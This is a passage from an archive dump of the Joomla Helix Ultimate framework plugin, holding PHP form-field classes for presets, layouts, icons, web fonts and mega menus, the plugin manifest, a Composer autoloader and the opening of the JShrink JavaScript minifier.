					$html_data_attr .= ' data-' . $prop . '="' . $val . '"';

					// Generate preset data for editing
					$presetData['data'][$prop] = $val;
				}
			}

			$html .= '<div class="hu-preset ' . $class . '" style="background-color: ' . $child->default . '" ' . $html_data_attr . '>';
			
			// Edit preset
			$html .= '<a type="button" role="button" class="hu-edit-preset" data-preset="' . $name . '" style="color: ' . $child->default . '; border-top-right-radius: 3px;" data-preset_data=\'' . json_encode($presetData) . '\'><span class="fas fa-pen" aria-hidden="true"></span></a>';

			$html .= Settings::preparePresetEditForm($presetData, $name);

			$html .= '<div class="hu-preset-title">' . $child->label . '</div>';
			$html .= '<div class="hu-preset-contents">';
			$html .= '</div>';
			$html .= '</div>';
		}

		return [$json, $html];
	}

	/**
	 * Make setting panel or modal from XML
	 *
	 *
	 * @param	array	$children	Preset fields
	 * @param	object	$value		Field value
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	private function generateFieldFromXmlData($children, $value)
	{
		$data = array();

		$html = '';

		foreach ($children as $child)
		{
			$data[(string) $child['name']] = array(
				'label' => isset($child['label']) ? (string) $child['label'] : '',
				'default' => isset($child['default']) ? (string) $child['default'] : '',
				'description' => isset($child['description']) ? $child['description'] : '',
				'data' => array()
			);

			$preset = json_decode($value);

			$class = '';

			if (isset($preset->preset) && $preset->preset === $child['name'])
			{
				$class = ' active';
			}

			$childName = $child->getName();

			if ($childName === 'preset')
			{
				$html_data_attr = 'data-preset="' . $child['name'] . '"';

				$presetData = array(
					'name' => (string) $child['name'],
					'data' => array()
				);

				foreach ($child->children() as $preset)
				{
					$html_data_attr .= ' data-' . $preset['name'] . '="' . $preset['value'] . '"';

					// Generate preset data for editing
					$presetData['data'][(string) $preset['name']] = (string) $preset['value'];
					$presetData['data']['preset'] = (string) $child['name'];

					$data[(string) $child['name']]['data'][(string) $preset['name']] = (string) $preset['value'];
					$data[(string) $child['name']]['data']['preset'] = (string) $child['name'];
				}

				$html .= '<div class="hu-preset' . $class . '" style="background-color: ' . $child['default'] . '" ' . $html_data_attr . '  class="hu-preset">';

				// Edit preset
				$html .= '<a type="button" role="button" class="hu-edit-preset" data-preset="' . $child['name'] . '" style="color: ' . $child['default'] . '" data-preset_data=\'' . json_encode($presetData) . '\'><span class="fas fa-pen" aria-hidden="true"></span></a>';

				$html .= Settings::preparePresetEditForm($presetData, $child['name']);

				$html .= '<div class="hu-preset-title">' . $child['label'] . '</div>';
				$html .= '<div class="hu-preset-contents">';
				$html .= '</div>';
				$html .= '</div>';
			}
			else
			{
				throw new UnexpectedValueException(sprintf('Unsupported element %s in JFormFieldGroupedList', $child->getName()), 500);
			}
		}

		return [$data, $html];
	}
}
PK!����MM$helixultimate/fields/helixlayout.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use HelixUltimate\Framework\Platform\Helper;


/**
 * Form field for Helix layout
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixlayout extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixlayout';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$input  	= Factory::getApplication()->input;
		$style_id 	= $input->get('id', 0, 'INT');
		$style 		= Helper::getTemplateStyle($style_id);

		$helix_layout_path = JPATH_SITE . '/plugins/system/helixultimate/layout/';

		$json = json_decode($this->value);

		if (!empty($json))
		{
			$rows = $json;
		}
		else
		{
			// $layout_file = File::read(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$layout_file = file_get_contents(JPATH_SITE . '/templates/' . $style->template . '/options.json');
			$value = json_decode($layout_file);
			$rows = json_decode($value->layout);
		}

		$html = $this->generateLayout($helix_layout_path, $rows);
		$html .= '<input type="hidden" id="' . $this->id . '" name="' . $this->name . '">';

		return $html;
	}

	/**
	 * Generate Layout.
	 *
	 * @param	string		$path	Layout path
	 * @param	object		$layout_data	The layout data.
	 *
	 * @return	string		Layout HTML string.
	 * @since	1.0.0
	 */
	private function generateLayout($path, $layout_data = null)
	{
		$GLOBALS['tpl_layout_data'] = $layout_data;

		ob_start();
		include_once $path . 'generated.php';
		$items = ob_get_contents();
		ob_end_clean();

		return $items;
	}

	/**
	 * Get label for the field.
	 *
	 * @return	boolean
	 * @since	1.0.0
	 */
	public function getLabel()
	{
		return false;
	}
}
PK!�>��"helixultimate/fields/helixicon.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;

defined('_JEXEC') or die();


/**
 * Form field for Helix icons.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixicon extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixicon';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$fontawesome = new FontawesomeIcons;
		$icons = $fontawesome->getIcons();

		$arr = array();
		$arr[] = HTMLHelper::_('select.option', '', '');

		foreach ($icons as $value)
		{
			$arr[] = HTMLHelper::_('select.option', $value, preg_replace('@^fa[sbr]\s+fa-@', '', $value));
		}

		return HTMLHelper::_('select.genericlist', $arr, $this->name, null, 'value', 'text', $this->value);

	}
}
PK!�`	��1�1"helixultimate/fields/helixfont.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use HelixUltimate\Framework\Platform\Helper;

/**
 * Form field for Helix font.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixfont extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixfont';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{

		$input  = Factory::getApplication()->input;
		$style_id = $input->get('id', 0, 'INT');
		$style = Helper::getTemplateStyle($style_id);

		$template_path = JPATH_SITE . '/templates/' . $style->template . '/webfonts/webfonts.json';
		$plugin_path   = JPATH_PLUGINS . '/system/helixultimate/assets/webfonts/webfonts.json';

		if (file_exists($template_path))
		{
			// $json = File::read($template_path);
			$json = file_get_contents($template_path);
		}
		else
		{
			// $json = File::read($plugin_path);
			$json = file_get_contents($plugin_path);
		}

		$webfonts   = json_decode($json);
		$items      = $webfonts->items;
		$value      = json_decode($this->value);

		if (isset($value->fontFamily))
		{
			$font = self::filterArray($items, $value->fontFamily);
		}

		$html  = '';
		$classes = (!empty($this->element['class'])) ? $this->element['class'] : '';

		$systemFonts = array(
			'Arial',
			'Tahoma',
			'Verdana',
			'Helvetica',
			'Times New Roman',
			'Trebuchet MS',
			'Georgia'
		);

		$fontWeights = array(
			'100' => 'Thin',
			'200' => 'Extra Light',
			'300' => 'Light',
			'400' => 'Normal',
			'500' => 'Medium',
			'600' => 'Semi Bold',
			'700' => 'Bold',
			'800' => 'Extra Bold',
			'900' => 'Black'
		);

		$fontStyles = array(
			'normal' => 'Normal',
			'italic' => 'Italic',
			'oblique' => 'Oblique'
		);

		// Font Family
		$html .= '<div class="hu-field-webfont ' . $classes . '">';

		/**
		 * Preview Row
		 */
		$html .= '<div class="hu-webfont-preview-wrapper">';
		$html .= '<div class="hu-webfont-preview">1 2 3 4 5 6 7 8 9 0 Grumpy wizards make toxic brew for the evil Queen and Jack.</div>';
		$html .= '</div>';

		/**
		 * Start Fonts List row
		 */
		$html .= '<div class="hu-webfont-family hu-mb-3">';
		$html .= $this->renderFontsList($systemFonts, $value, $items);
		$html .= '</div>';

		/**
		 * Font size, weight, color row
		 */
		$html .= '<div class="row">';

		/**
		 * Start Font Weight
		 */
		$html .= '<div class="col-5 hu-mb-3">';
		$html .= $this->renderFontWeight($fontWeights, $value);
		$html .= '</div>';

		/**
		 * Start Font Size
		 */
		$html .= '<div class="col-4 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderFontSize($value);
		$html .= '</div>';

		/**
		 * Start Font Color
		 */
		$html .= '<div class="col-3 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderFontColor($value);
		$html .= '</div>';

		$html .= '</div>';

		/**
		 * Font subset, letter spacing, line height row
		 */
		$html .= '<div class="row spacing-row">';

		/**
		 * Font subset section
		 */
		$html .= '<div class="col-5 hu-mb-3">';
		$html .= $this->renderFontSubset($systemFonts, $font, $value);
		$html .= '</div>';

		/**
		 * Set line height
		 */
		$html .= '<div class="col-3 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderLineHeight($value);
		$html .= '</div>';

		/**
		 * Set Letter Spacing
		 */
		$html .= '<div class="col-4 hu-mb-3 hu-narrow-input">';
		$html .= $this->renderLetterSpacing($value);
		$html .= '</div>';

		$html .= '</div>';

		/**
		 * Font style, alignment row
		 */
		$html .= '<div class="row style-alignment">';

		/**
		 * Text Decoration
		 */
		$html .= '<div class="col-6 hu-mb-3">';
		$html .= $this->renderTextDecoration($value);
		$html .= '</div>';

		/**
		 * Font Alignment
		 */
		$html .= '<div class="col-6 hu-mb-3">';
		$html .= $this->renderFontAlignment($value);
		$html .= '</div>';

		$html .= '</div>';

		$html .= '<input type="hidden" name="' . $this->name . '" value=\'' . $this->value . '\' class="hu-webfont-input" id="' . $this->id . '">';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Get select options for the field.
	 *
	 * @param	array	$items		The items form where the options will be generated.
	 * @param	string	$selected	The selected option item.
	 *
	 * @return	string	The option HTML string.
	 * @since	1.0.0
	 */
	private function generateSelectOptions( $items = array(), $selected = '' )
	{
		$html = '';

		foreach ($items as $item)
		{
			$html .= '<option ' . (($selected !== 'no-selection' && $item == $selected) ? 'selected="selected"' : '') . ' value="' . $item . '">' . $item . '</option>';
		}

		return $html;
	}

	/**
	 * Get Current font.
	 *
	 * @param	array	$items	The fonts array.
	 * @param	string	$key	The expected font.
	 *
	 * @return 	mixed
	 * @since	1.0.0
	 */
	private static function filterArray($items, $key)
	{
		foreach ($items as $item)
		{
			if ($item->family === $key)
			{
				return $item;
			}
		}

		return false;
	}

	private function renderFontsList($systemFonts, $value, $items)
	{
		$html = '';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_FAMILY') . '</label>';
		$html .= '<select class="hu-webfont-list">';
		$html .= '<optgroup label="' . Text::_('HELIX_ULTIMATE_SYSTEM_FONT') . '">';

		foreach ($systemFonts as $systemFont)
		{
			$html .= '<option ' . ((isset($value->fontFamily) && $systemFont === $value->fontFamily) ? 'selected="selected"' : '') . ' value="' . $systemFont . '">' . $systemFont . '</option>';
		}

		$html .= '</optgroup>';

		$html .= '<optgroup label="' . Text::_('HELIX_ULTIMATE_GOOGLE_FONT') . '">';

		foreach ($items as $item)
		{
			$html .= '<option ' . ((isset($value->fontFamily) && $item->family === $value->fontFamily) ? 'selected="selected"' : '') . ' value="' . $item->family . '">' . $item->family . '</option>';
		}

		$html .= '</optgroup>';

		$html .= '</select>';

		return $html;
	}

	private function renderFontWeight($fontWeights, $value)
	{
		$html = '';
		$html .= '<div class="hu-webfont-weight">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_WEIGHT') . '</label>';
		$html .= '<select class="hu-webfont-weight-list">';
		$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_SELECT') . '</option>';

		foreach ($fontWeights as $key => $fontWeight)
		{
			if (isset($value->fontWeight) && $value->fontWeight === $key)
			{
				$html .= '<option value="' . $key . '" selected>' . $fontWeight . '</option>';
			}
			else
			{
				$html .= '<option value="' . $key . '">' . $fontWeight . '</option>';
			}
		}

		$html .= '</select>';
		$html .= '</div>';

		return $html;
	}

	private function renderFontSize($value)
	{
		$html = '';

		$fontSize = (isset($value->fontSize)) ? $value->fontSize : '';
		$fontSize_sm = (isset($value->fontSize_sm)) ? $value->fontSize_sm : '';
		$fontSize_xs = (isset($value->fontSize_xs)) ? $value->fontSize_xs : '';
		$html .= '<div class="hu-webfont-size">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_SIZE') . '</label>';
		$html .= '<input type="number" value="' . $fontSize . '" class="form-control hu-webfont-size-input active" min="6" max="200">';
		$html .= '<input type="number" value="' . $fontSize_sm . '" class="form-control hu-webfont-size-input-sm" min="6" max="200">';
		$html .= '<input type="number" value="' . $fontSize_xs . '" class="form-control hu-webfont-size-input-xs" min="6" max="200">';
		$html .= '</div>';

		return $html;
	}

	private function renderFontColor($value)
	{
		$color = !empty($value->fontColor) ? $value->fontColor : '';
		$html = '';
		$html .= '<div class="hu-font-color">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_COLOR') . '</label>';
		$html .= '<input type="text" class="form-control hu-font-color-input minicolors" placeholder="Font Color" value="' . $color . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderFontSubset($systemFonts, $font, $value)
	{
		$html = '';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_SUBSET') . '</label>';
		$html .= '<select class="hu-webfont-subset-list">';
		$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_SELECT') . '</option>';

		if (isset($value->fontFamily) && $value->fontFamily)
		{
			if (!in_array($value->fontFamily, $systemFonts))
			{
				$html .= $this->generateSelectOptions($font->subsets, $value->fontSubset);
			}
		}

		$html .= '</select>';

		return $html;
	}

	private function renderLineHeight($value)
	{
		$height = !empty($value->fontLineHeight) ? $value->fontLineHeight : '';
		$html = '';
		$html .= '<div class="hu-font-line-height">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_LINE_HEIGHT') . '</label>';
		$html .= '<input type="number" class="form-control hu-font-line-height-input" min="1" max="200" value="' . $height . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderLetterSpacing($value)
	{
		$spacing = !empty($value->fontLetterSpacing) ? $value->fontLetterSpacing : '';
		$html = '';
		$html .= '<div class="hu-font-letter-spacing">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_LETTER_SPACING') . '</label>';
		$html .= '<input type="number" class="form-control hu-font-letter-spacing-input" value="' . $spacing . '" step=".1" />';
		$html .= '</div>';

		return $html;
	}

	private function renderTextDecoration($value)
	{
		$decoration = !empty($value->textDecoration) ? $value->textDecoration : 'none';

		$html = '';
		$html .= '<div class="hu-font-decoration">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_DECORATION') . '</label>';
		
		$html .= '<div class="hu-switcher hu-switcher-inline hu-switcher-style-tab hu-switcher-style-tab-sm">';
		$html .= '<div class="hu-action-group">';
		$html .= '<span data-value="none" class="hu-switcher-action ' . ($decoration === 'none' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-times" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="underline" class="hu-switcher-action ' . ($decoration === 'underline' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-underline" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="line-through" class="hu-switcher-action ' . ($decoration === 'strikethrough' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-strikethrough" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="overline" class="hu-switcher-action ' . ($decoration === 'overline' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-overline" aria-hidden="true">O</span>';
		$html .= '</span>';
		$html .= '</div>';
		$html .= '</div>';

		$html .= '<input type="hidden" class="hu-text-decoration" value="' . $decoration . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderFontAlignment($value)
	{
		$alignment = !empty($value->textAlign) ? $value->textAlign : '';

		$html = '';
		$html .= '<div class="hu-font-alignment">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_ALIGNMENT') . '</label>';
		$html .= '<div class="hu-switcher hu-switcher-inline hu-switcher-style-tab hu-switcher-style-tab-sm">';

		$html .= '<div class="hu-action-group">';
		$html .= '<span data-value="left" class="hu-switcher-action ' . ($alignment === 'left' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-left" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="center" class="hu-switcher-action ' . ($alignment === 'center' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-center" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="right" class="hu-switcher-action ' . ($alignment === 'right' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-right" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="justify" class="hu-switcher-action ' . ($alignment === 'justify' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-justify" aria-hidden="true"></span>';
		$html .= '</span>';
		$html .= '</div>';

		$html .= '</div>';
		$html .= '<input type="hidden" class="hu-text-align" value="' . $alignment . '" />';
		$html .= '</div>';

		return $html;
	}

}
PK!��VV&helixultimate/fields/helixmegamenu.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;


/**
 * Form field for Helix mega menu
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixmegamenu extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = "Helixmegamenu";

	/**
	 * Row layouts.
	 *
	 * @var		array	Layouts.
	 * @since	1.0.0
	 */
	private $row_layouts = array('12', '6+6', '4+4+4', '3+3+3+3', '2+2+2+2+2+2', '5+7', '4+8','3+9','2+10');

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$html  = '<div>';
		$html .= $this->getMegaSettings();
		$html .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '">';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Get mega menu settings.
	 *
	 * @return	string	Megamenu settings HTML string.
	 * @since	1.0.0
	 */
	public function getMegaSettings()
	{
		$mega_menu_path = JPATH_SITE . '/plugins/system/helixultimate/fields/';
		$menu_data = json_decode($this->value);
		$menu_item = $this->form->getData()->toObject();

		ob_start();
		include_once dirname(__DIR__) . '/core/lib/helixmenuhelper.php';
		$html = ob_get_clean();

		return $html;
	}

	/**
	 * Get module name ID.
	 *
	 * @param	mixed	$id		Module ID.
	 *
	 * @return 	mixed	Module list or module object
	 * @since 	1.0.0
	 */
	private function getModuleNameById($id = 'all')
	{
		$db = Factory::getDBO();
		$query = $db->getQuery(true);

		$query->select($db->quoteName(array('id','title')));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('published') . ' = 1');
		$query->where($db->quoteName('client_id') . ' = 0');

		if ($id !== 'all')
		{
			$query->where($db->quoteName('id') . ' = ' . (int) $id);
		}

		$db->setQuery($query);

		if ($id !== 'all')
		{
			return $db->loadObject();
		}

		return $db->loadObjectList();
	}

	/**
	 * Get unique menu items.
	 *
	 * @param	integer		$current_menu_id	The running menu item id.
	 * @param	array		$layout				Layouts.
	 *
	 * @return 	array
	 * @since	1.0.0
	 */
	private function uniqueMenuItems($current_menu_id, $layout = array())
	{
		$saved_menu_items = array();

		$items = $this->menuItems();
		$children = isset($items[$current_menu_id]) ? $items[$current_menu_id] : array();

		if (!$layout)
		{
			return $children;
		}

		foreach ($layout as $key => $row)
		{
			foreach ($row->attr as $col_key => $col)
			{
				if ($col->items)
				{
					foreach ($col->items as $item)
					{
						if ($item->type === 'menu_item')
						{
							unset($children[$item->item_id]);
						}
					}
				}
			}
		}

		return $children;
	}

	/**
	 * Menu items.
	 *
	 * @return	array
	 * @since	1.0.0
	 */
	private function menuItems()
	{
		$menus = new \JMenuSite;
		$menus = $menus->getMenu();
		$new = array();

		foreach ($menus as $item)
		{
			$new[$item->parent_id][$item->id] = $item->id;
		}

		return $new;
	}

	/**
	 * Select option field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	array	$lsit			Option list.
	 * @param	string	$default		Default value.
	 * @param	string	$display_class	Select class.
	 *
	 * @return	string	Select option HTML string.
	 * @since	1.0.0
	 */
	private function selectFieldHTML($name, $label, $list, $default, $display_class = '')
	{
		$view_class = '';

		if ($name === 'alignment')
		{
			$view_class = 'hu-megamenu-field-control ' . $display_class;
		}
		elseif ($name === 'dropdown')
		{
			$view_class = 'hu-dropdown-field-control ' . $display_class;
		}

		$html  = '';
		$html .= '<div class="' . $view_class . '">';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<select id="hu-megamenu-' . $name . '">';

		if ($name === 'fa-icon')
		{
			$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_GLOBAL_SELECT') . '</option>';

			foreach ($list as $each)
			{
				$html .= '<option value="' . $each . '"' . (($default === $each) ? 'selected' : '') . '>' . str_replace('fa-', '', $each) . '</option>';
			}
		}
		else
		{
			foreach ($list as $key => $each)
			{
				$html .= '<option value="' . $key . '"' . (($default === $key) ? 'selected' : '') . '>' . $each . '</option>';
			}
		}

		$html .= '</select>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Color field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	string	$placeholder	Field placeholder.
	 * @param	string	$value			Default value.
	 *
	 * @return	string	Color field HTML string.
	 * @since	1.0.0
	 */
	private function colorFieldHTML($name, $label, $placeholder, $value)
	{
		$html  = '';
		$html .= '<div>';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="text" class="minicolors" id="hu-menu-badge-' . $name . '" placeholder="' . $placeholder . '" value="' . $value . '" />';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Text field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	string	$placeholder	Field placeholder.
	 * @param	string	$value			Default value.
	 * @param	string	$type			Field type.
	 * @param	string	$display_class	Field class name.
	 *
	 * @return	string	Text field HTML
	 * @since	1.0.0
	 */
	private function textFieldHTML($name, $label, $placeholder, $value, $type = 'text', $display_class = '')
	{
		if ($type === 'number')
		{
			$display_class = 'hu-megamenu-field-control' . $display_class;
		}

		$html  = '';
		$html .= '<div class="' . $display_class . '">';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="' . $type . '" id="hu-megamenu-' . $name . '" placeholder="' . $placeholder . '" value="' . $value . '" />';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Switch Field HTML.
	 *
	 * @param	string	$name	Field name.
	 * @param	string	$label	Field label.
	 * @param	string	$value	Defaulf value.
	 *
	 * @return 	string	Switch field HTML string.
	 * @since	1.0.0
	 */
	private function switchFieldHTML($name, $label, $value)
	{
		$html  = '';
		$html .= '<div>';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="checkbox" class="hu-checkbox" id="hu-megamenu-' . $name . '" ' . (!empty($value) ? 'checked' : '') . '/>';
		$html .= '</div>';

		return $html;
	}
}
PK!C�Qa��helixultimate/helixultimate.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" 
  type="plugin" 
  group="system" 
  method="upgrade">
  <name>System - Helix Ultimate Framework</name>
  <author>JoomShaper.com</author>
  <creationDate>Feb 2018</creationDate>
  <copyright>Copyright (C) 2010 - 2020 JoomShaper. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
  <authorEmail>support@joomshaper.com</authorEmail>
  <authorUrl>www.joomshaper.com</authorUrl>
  <version>2.0.5</version>
  <description>Helix Ultimate Framework - Joomla Template Framework by JoomShaper</description>

  <updateservers>
    <server type="extension" 
      priority="1" 
      name="System - Helix Ultimate Framework">http://www.joomshaper.com/updates/plg-system-helixultimate.xml</server>
  </updateservers>

  <languages>
    <language tag="en-GB">language/en-GB.plg_system_helixultimate.ini</language>
  </languages>

  <files>
    <filename plugin="helixultimate">bootstrap.php</filename>
    <filename plugin="helixultimate">composer.json</filename>
    <filename plugin="helixultimate">helixultimate.php</filename>
    <folder plugin="helixultimate">assets</folder>
    <folder plugin="helixultimate">core</folder>
    <folder plugin="helixultimate">fields</folder>
    <folder plugin="helixultimate">html</folder>
    <folder plugin="helixultimate">language</folder>
    <folder plugin="helixultimate">layout</folder>
    <folder plugin="helixultimate">layouts</folder>
    <folder plugin="helixultimate">overrides</folder>
    <folder plugin="helixultimate">params</folder>
    <folder plugin="helixultimate">src</folder>
    <folder plugin="helixultimate">vendor</folder>
  </files>
</extension>
PK!�+����!helixultimate/vendor/autoload.phpnu&1i�<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit03de505cc53b36971260b46d9d0f25c6::getLoader();
PK!�L�:I:I<helixultimate/vendor/tedivm/jshrink/src/JShrink/Minifier.phpnu&1i�<?php
/*
 * This file is part of the JShrink package.
 *
 * (c) Robert Hafner <tedivm@tedivm.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * JShrink
 *
 *
 * @package    JShrink
 * @author     Robert Hafner <tedivm@tedivm.com>
 */

namespace JShrink;

/**
 * Minifier
 *
 * Usage - Minifier::minify($js);
 * Usage - Minifier::minify($js, $options);
 * Usage - Minifier::minify($js, array('flaggedComments' => false));
 *
 * @package JShrink
 * @author Robert Hafner <tedivm@tedivm.com>
 * @license http://www.opensource.org/licenses/bsd-license.php  BSD License
 */
class Minifier
{
    /**
     * The input javascript to be minified.
     *
     * @var string
     */
    protected $input;

    /**
     * Length of input javascript.
     *
     * @var int
     */
    protected $len = 0;

    /**
     * The location of the character (in the input string) that is next to be
     * processed.
     *
     * @var int
     */
    protected $index = 0;

    /**
     * The first of the characters currently being looked at.
     *
     * @var string
     */
    protected $a = '';

    /**
     * The next character being looked at (after a);
     *
     * @var string
     */
    protected $b = '';

    /**
     * This character is only active when certain look ahead actions take place.
     *
     *  @var string
     */
    protected $c;

    /**
     * Contains the options for the current minification process.
     *
     * @var array
     */
    protected $options;

    /**
     * These characters are used to define strings.
     */
    protected $stringDelimiters = ['\'' => true, '"' => true, '`' => true];

    /**
     * Contains the default options for minification. This array is merged with
     * the one passed in by the user to create the request specific set of
     * options (stored in the $options attribute).
     *
     * @var array
     */
    protected static $defaultOptions = ['flaggedComments' => true];

    /**
     * Contains lock ids which are used to replace certain code patterns and
     * prevent them from being minified
     *
     * @var array
     */
    protected $locks = [];

    /**
     * Takes a string containing javascript and removes unneeded characters in
     * order to shrink the code without altering it's functionality.
     *
     * @param  string      $js      The raw javascript to be minified
     * @param  array       $options Various runtime options in an associative array
     * @throws \Exception
     * @return bool|string
     */
    public static function minify($js, $options = [])
    {
        try {
            ob_start();

            $jshrink = new Minifier();
            $js = $jshrink->lock($js);
            $jshrink->minifyDirectToOutput($js, $options);

            // Sometimes there's a leading new line, so we trim that out here.
            $js = ltrim(ob_get_clean());
            $js = $jshrink->unlock($js);
            unset($jshrink);

            return $js;
        } catch (\Exception $e) {
            if (isset($jshrink)) {
                // Since the breakdownScript function probably wasn't finished
                // we clean it out before discarding it.
                $jshrink->clean();
                unset($jshrink);
            }

            // without this call things get weird, with partially outputted js.
            ob_end_clean();
            throw $e;
        }
    }

    /**
     * Processes a javascript string and outputs only the required characters,
     * stripping out all unneeded characters.
     *
     * @param string $js      The raw javascript to be minified
     * @param array  $options Various runtime options in an associative array
     */
    protected function minifyDirectToOutput($js, $options)
    {
        $this->initialize($js, $options);
        $this->loop();
        $this->clean();
    }

    /**
     *  Initializes internal variables, normalizes new lines,
     *
     * @param string $js      The raw javascript to be minified
     * @param array  $options Various runtime options in an associative array
     */
    protected function initialize($js, $options)
    {
        $this->options = array_merge(static::$defaultOptions, $options);
        $this->input = str_replace(["\r\n", '/**/', "\r"], ["\n", "", "\n"], $js);

        // We add a newline to the end of the script to make it easier to deal
        // with comments at the bottom of the script- this prevents the unclosed
        // comment error that can otherwise occur.
        $this->input .= PHP_EOL;

        // save input length to skip calculation every time
        $this->len = strlen($this->input);

        // Populate "a" with a new line, "b" with the first character, before
        // entering the loop
        $this->a = "\n";
        $this->b = $this->getReal();
    }

    /**
     * Characters that can't stand alone preserve the newline.
     *
     * @var array
     */
    protected $noNewLineCharacters = [
        '(' => true,
        '-' => true,
        '+' => true,
        '[' => true,
